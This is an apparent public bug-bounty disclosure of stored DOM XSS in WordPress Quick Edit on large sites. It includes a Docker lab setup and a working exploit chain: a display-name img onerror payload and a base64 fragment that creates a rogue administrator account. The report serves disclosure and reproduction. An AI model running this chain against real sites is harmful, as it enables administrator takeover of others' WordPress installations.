HexBrain

WordPress · Report #3878399

Large-site Quick Edit reparses a Contributor display name into active HTML

Validstatus
mediumseverity
20upvotes
21 Oct 2026disclosed

How it was found

On sites with more than 10,000 users, a Contributor can save entity-encoded HTML in their display name. When an administrator opens the attacker's crafted Posts-page URL and clicks Quick Edit on the Contributor's pending post, WordPress decodes the stored name with .text() and reparses it through jQuery .prepend(), causing stored DOM XSS.

Affected Asset

  • WordPress Core 7.0.2
  • wp-admin/js/inline-edit-post.js
  • Posts list Quick Edit fallback for large user counts

Preconditions

  • The site has more than 10,000 users, or wp_is_large_user_count() is otherwise forced true.
  • The attacker has a Contributor account and owns a pending post.
  • The administrator opens an attacker-supplied Posts-page URL containing the second-stage fragment.
  • A user with edit_others_posts clicks Quick Edit on that post.
  • At exactly 10,000 users, the normal populated author dropdown prevents this branch.

Docker Setup

Save this as compose.yml:

name: wp-quick-edit-large-site-lab

services:
  db:
    image: mysql:8.4
    environment:
      MYSQL_DATABASE: wordpress_quick_edit
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-proot"]
      interval: 3s
      timeout: 3s
      retries: 30
    volumes:
      - quick_edit_db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.0.2-php8.3-apache
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "8097:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_NAME: wordpress_quick_edit
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
    volumes:
      - quick_edit_wp_data:/var/www/html

  cli:
    image: wordpress:cli-php8.3
    depends_on:
      db:
        condition: service_healthy
      wordpress:
        condition: service_started
    user: "33:33"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_NAME: wordpress_quick_edit
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
    entrypoint: ["/bin/sh", "-c"]
    command:
      - |
        until [ -f /var/www/html/wp-config.php ] && wp core version >/dev/null 2>&1; do sleep 2; done
        if ! wp core is-installed >/dev/null 2>&1; then
          until wp core install --url=http://127.0.0.1:8097 --title='Large Site Quick Edit Lab' --admin_user=admin --admin_password='Admin-Test-9482' [email protected] --skip-email; do sleep 2; done
        fi
        if ! wp user get contributor >/dev/null 2>&1; then
          wp user create contributor [email protected] --role=contributor --user_pass='Contributor-Test-9482'
        fi
        wp option update user_count 10001
        wp rewrite structure '/%postname%/' --hard
    volumes:
      - quick_edit_wp_data:/var/www/html

volumes:
  quick_edit_db_data:
  quick_edit_wp_data:

The user_count option models an already-large deployment without creating 10,001 dummy accounts.

Start it:

docker compose up -d
docker compose logs -f cli

Continue after cli exits with code 0.

Steps To Reproduce

  1. Log in at http://127.0.0.1:8097/wp-admin/ as:
Username: contributor
Password: Contributor-Test-9482
  1. Open the dashboard console and update the Contributor's own display name:
const nonce = await fetch(`/wp-admin/admin-ajax.php?action=rest-nonce`).then(r => r.text());
const me = await fetch(`/index.php?rest_route=/wp/v2/users/me&context=edit`, {
  headers: { "X-WP-Nonce": nonce }
}).then(r => r.json());
await fetch(`/index.php?rest_route=/wp/v2/users/${me.id}`, {
  method: `POST`,
  headers: { "Content-Type": `application/json`, "X-WP-Nonce": nonce },
  body: JSON.stringify({
    name: `<img src=x onerror=eval(atob(location.hash.slice(1)))>`
  })
});
  1. Create any post and click Submit for Review.

  2. The Contributor sends the administrator this crafted URL. The fragment contains only a harmless title-change marker:

http://127.0.0.1:8097/wp-admin/edit.php?post_status=pending&post_type=post#ZG9jdW1lbnQudGl0bGU9J1F1aWNrLUVkaXQtWFNTLTcyMSc=
  1. In a separate browser profile, log in as:
Username: admin
Password: Admin-Test-9482
  1. While authenticated, open the crafted URL from step 4. Do not run anything in the administrator's console.

  2. Click Quick Edit under the Contributor's post. The browser tab title changes to Quick-Edit-XSS-721, confirming execution. Before this click, the author cell contains only text and no active image.

  3. To confirm administrator takeover, open this second attacker-supplied URL and click Quick Edit on the same post:

http://127.0.0.1:8097/wp-admin/edit.php?post_status=pending&post_type=post#KCgpPT57aWYod2luZG93Ll9faDFxZSlyZXR1cm47d2luZG93Ll9faDFxZT0xO2ZldGNoKCcvd3AtYWRtaW4vdXNlci1uZXcucGhwJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT57Y29uc3QgZD1uZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHQsJ3RleHQvaHRtbCcpO2NvbnN0IG49ZC5xdWVyeVNlbGVjdG9yKCcjX3dwbm9uY2VfY3JlYXRlLXVzZXInKS52YWx1ZTtjb25zdCBiPW5ldyBVUkxTZWFyY2hQYXJhbXMoKTtiLnNldCgnYWN0aW9uJywnY3JlYXRldXNlcicpO2Iuc2V0KCdfd3Bub25jZV9jcmVhdGUtdXNlcicsbik7Yi5zZXQoJ3VzZXJfbG9naW4nLCdoMS1xdWljay1lZGl0LWFkbWluJyk7Yi5zZXQoJ2VtYWlsJywnaDEtcXVpY2stZWRpdC1hZG1pbkBleGFtcGxlLnRlc3QnKTtiLnNldCgncGFzczEnLCdIMS1RdWljay1FZGl0LTk0ODIhJyk7Yi5zZXQoJ3Bhc3MyJywnSDEtUXVpY2stRWRpdC05NDgyIScpO2Iuc2V0KCdyb2xlJywnYWRtaW5pc3RyYXRvcicpO3JldHVybiBmZXRjaCgnL3dwLWFkbWluL3VzZXItbmV3LnBocCcse21ldGhvZDonUE9TVCcsYm9keTpifSl9KX0pKCk=

The administrator performs no console action. After the Quick Edit click, Users contains:

Username: h1-quick-edit-admin
Password: H1-Quick-Edit-9482!
Role: Administrator

Confirmed Result

  • WordPress version: 7.0.2
  • Contributor self-profile update: HTTP 200
  • Pending-post creation: HTTP 201
  • Quick Edit author select: hidden, zero options
  • Before Quick Edit: zero active elements
  • After Quick Edit: tab title Quick-Edit-XSS-721, one active element
  • Takeover requests: GET 200 and POST 302 to /wp-admin/user-new.php
  • Created account role: administrator
  • Temporary automated validation data was removed.

Root Cause

  • WordPress preserves valid entities such as < in the saved display name.
  • The Posts list initially renders that value safely as text.
  • In large-site mode, Quick Edit omits the normal author options.
  • The fallback reads the author cell through .text() and concatenates it into HTML passed to .prepend().
  • The decoded <img onerror> is therefore parsed as a live element.

Impact

  • Contributor-controlled JavaScript runs after the administrator opens the crafted link and clicks Quick Edit.
  • The script can read nonces and perform administrator-only same-origin actions.
  • The confirmed chain creates a persistent Administrator account.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original